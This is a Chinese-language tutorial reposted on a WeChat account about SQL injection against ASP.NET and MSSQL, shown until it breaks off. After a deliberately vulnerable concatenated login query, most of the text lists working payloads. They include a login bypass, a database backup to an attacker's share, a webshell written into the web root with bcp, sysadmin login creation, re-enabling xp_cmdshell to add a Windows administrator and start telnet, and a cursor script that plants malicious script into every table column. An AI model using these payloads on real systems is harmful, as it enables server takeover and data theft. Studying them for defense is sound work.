专栏名称: 程序猿
本微信公众号:imkuqin,为程序员提供最新最全的编程学习资料的查询。目前已经开通PHP、C/C++函数库、.NET Framework类库、J2SE API查询功能。
目录
相关文章推荐
码农翻身  ·  穷人需要投机,别迷信长期主义 ·  6 小时前  
码农翻身  ·  在内卷的修罗场,国产技术该站出来了 ·  2 天前  
OSC开源社区  ·  【直播预告】AiEditor:面向AI的下一 ... ·  4 天前  
程序员的那些事  ·  年薪154w!又一新兴岗位崛起!这才是程序员 ... ·  3 天前  
51好读  ›  专栏  ›  程序猿

SQL注入攻防入门详解

程序猿  · 公众号  · 程序员  · 2016-10-24 20:40

正文

来自:滴答的雨 - 博客园

链接:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html (点击尾部阅读原文前往)


毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。


(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)


下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。


示例程序下载:SQL注入攻防入门详解_示例( http://files.cnblogs.com/heyuquan/SQL注入攻防入门详解_示例.rar


什么是SQL注入(SQL Injection)


所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。


尝尝SQL注入


1、一个简单的登录页面


关键代码: (详细见下载的示例代码)

privateboolNoProtectLogin(string userName, string password)   
{   
int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format   
       ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));return count > 0 ? true : false;   
}

方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin  123456)


输入正常数据,效果如图:




合并的SQL为:

SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'

输入注入数据:


如图,即用户名为:用户名:admin’—,密码可随便输入




合并的SQL为:

SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'


因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句))


2、上面是最简单的一种SQL注入,常见的注入语句还有:


1)   猜测数据库名,备份数据库

  • a)   猜测数据库名: and db_name() >0 或系统表master.dbo.sysdatabases

  • b)   备份数据库:;backup database 数据库名 to disk = ‘c:\*.db’;--

或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--


2) 猜解字段名称


  • 猜解法:and (select count(字段名) from 表名)>0   若“字段名”存在,则返回正常

  • 读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0   把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。


3) 遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)


先创建一个临时表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--


  • a)   利用xp_availablemedia来获得当前所有驱动器,并存入temp表中

    ;insert temp exec master.dbo.xp_availablemedia;--

  • b)   利用xp_subdirs获得子目录列表,并存入temp表中

    ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

  • c)   利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中

    ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (实验成功)

  • d)   利用 bcp 命令将表内容导成文件


即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动’ xp_cmdshell’)


Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'


(注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)

在sql查询器中通过语句:Exec master..xp_cmdshell N'BCP’即可查看BCP相关参数,如图:




4) 查询当前用户的数据库权限


MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

可通过1=(select IS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。


5) 设置新的数据库帐户(得到MSSQL管理员账户)


  • d) 在数据库内添加一个hax用户,默认密码是空

    ;exec sp_addlogin'hax';--

  • e)   给hax设置密码 (null是旧密码,password是新密码,user是用户名)

    ;exec master.dbo.sp_password null,password,username;--

  • f)   将hax添加到sysadmin组

    ;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--


6) xp_cmdshell MSSQL存储过程(得到 WINDOWS管理员账户 )


通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe 工具,可以做什么自己多了解下。


下面我们使用xp_cmdshell来创建一个 Windows 用户,并开启远程登录服务:


a)   判断xp_cmdshell扩展存储过程是否存在

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'

b)   恢复xp_cmdshell扩展存储过程


Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';

开启后使用xp_cmdshell还会报下面错误:

SQL Server 阻止了对组件 'xp_cmdshell' 的过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

通过执行下面语句进行设置:

-- 允许配置高级选项

EXEC sp_configure 'show advanced options', 1

GO

-- 重新配置

RECONFIGURE

GO

-- 启用xp_cmdshell

EXEC sp_configure 'xp_cmdshell', 0

GO

--重新配置

RECONFIGURE

GO


c)   禁用xp_cmdshell扩展存储过程

Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';

d)   添加windows用户:

Exec xp_cmdshell 'net user awen /add';

e)   设置好密码:

Exec xp_cmdshell 'net user awen password';

f)   提升到管理员:

Exec xp_cmdshell 'net localgroup administrators awen /add';

g)   开启telnet服务:

Exec xp_cmdshell 'net start tlntsvr'


7) 没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.


(本人windows7系统,测试下面SQL语句木有效果)


declare @shell int ;

execsp_OAcreate 'w script .shell',@shell output ;

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';


在使用的时候会报如下错:


SQL Server 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。


解决办法:


sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures', 1;

GO

RECONFIGURE;

GO


好了,这样别人可以登录你的服务器了,你怎么看?


8) 客户端脚本攻击


攻击1: (正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。


措施: 转义提交的内容,.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。


攻击2: (SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过System.Net.WebUtility.HtmlEncode(string) 转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”。

参考:


注入: SQL注入案例曝光,请大家提高警惕

恢复: 批量清除数据库中被植入的js

示例代码: (可在示例附带的数据库测试)


a)   向当前数据库的每个表的每个字段插入一段恶意脚本

Declare @T Varchar(255),@C Varchar(255)   
Declare Table_Cursor Cursor For   Select A.Name,B.Name   
From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)    
Open Table_Cursor   
Fetch Next From  Table_Cursor Into @T,@C    While(@@Fetch_Status=0)    
Begin   
Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''






请到「今天看啥」查看全文